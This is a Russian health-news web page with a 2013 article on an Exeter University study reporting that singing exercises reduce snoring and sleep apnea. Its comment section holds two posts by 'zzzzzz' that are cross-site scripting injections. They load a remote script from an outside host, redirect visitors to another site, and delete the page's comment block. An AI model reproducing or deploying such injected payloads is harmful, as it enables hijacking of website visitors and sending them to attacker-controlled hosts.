Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ученые выяснили, как побо...  >>  Ученые выяснили, как побороть храп
 
Обратная связь
 

Ученые выяснили, как побороть храп

Размер шрифта
23 октября 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Громоподобный храп мужа мешает вам спать? Вашим мукам скоро придет конец – ученые выяснили, как побороть эту напасть с помощью… пения!

Исследователи проанализировали две группы пациентов по шестьдесят человек. В первой группе люди страдали от обычного храпа, во второй же были пациенты с диагностированным обструктивным ночным апноэ – заболеванием, при котором храп является лишь верхушкой айсберга, скрывая под гладью океана более серьезные проблемы: временную остановку дыхания во сне, легочную гипертензию, сердечную недостаточность и другие.

В течение трех месяцев половина испытуемых выполняла специфические вокальные упражнения, а другая половина выступала в качестве контроля (то есть, проще говоря, не делала ничего). По окончанию эксперимента был констатирован следующий факт: у людей, которые занимались терапевтическим пением, отмечался значительный прогресс: они реже храпели, качество их сна улучшилось. В контрольной же группе ничего подобного не отмечалось.

Исследователи считают, что вокальные упражнения укрепляют мышцы мягкого неба и глотки, слабость которых и лежит в основе простого храпа и обструктивного апноэ.

Ученые надеются, что их открытие позволит улучшить качество жизни миллионов людей по всему миру; впрочем, для окончательной ликвидации этой ЛОР-проблемы понадобится приложить намного больше усилий.

«Наша работа расширяет горизонты терапевтических возможностей отоларингологов. Вокальные упражнения – полноценная альтернатива хирургическому вмешательству, что, конечно, является отличной новостью для людей, страдающей от храпа», – рассказывает Малькольм Хилтон, один из членов исследовательской группы Эксетерского Университета (Великобритания). «Однако стоит отметить, что данная методика должна применяться только с учетом модификации вашего образа жизни. Скажем, рекомендация похудеть ни в коей мере не теряет своей железобетонной значимости для пациентов с храпом и обструктивным апноэ».

Тем не менее, методика, предложенная учеными из Эксетера, может произвести настоящую революцию в сфере ЛОР-патологии.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:58

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:57

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Храп вызывает смертельное заболевание легких! Сколько храпеть вредно?   Храпящие беременные будут рожать с помощью кесарева   Как правильно спать   Как только прекратите храпеть – станете красивее! Шокирующее исследование из США!  
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума?
 
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 

Слайдшоу

1
Почему вы не можете выспаться. Часть 2
Как спать с бронхитом
Странные звуки тела и как от них избавиться

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.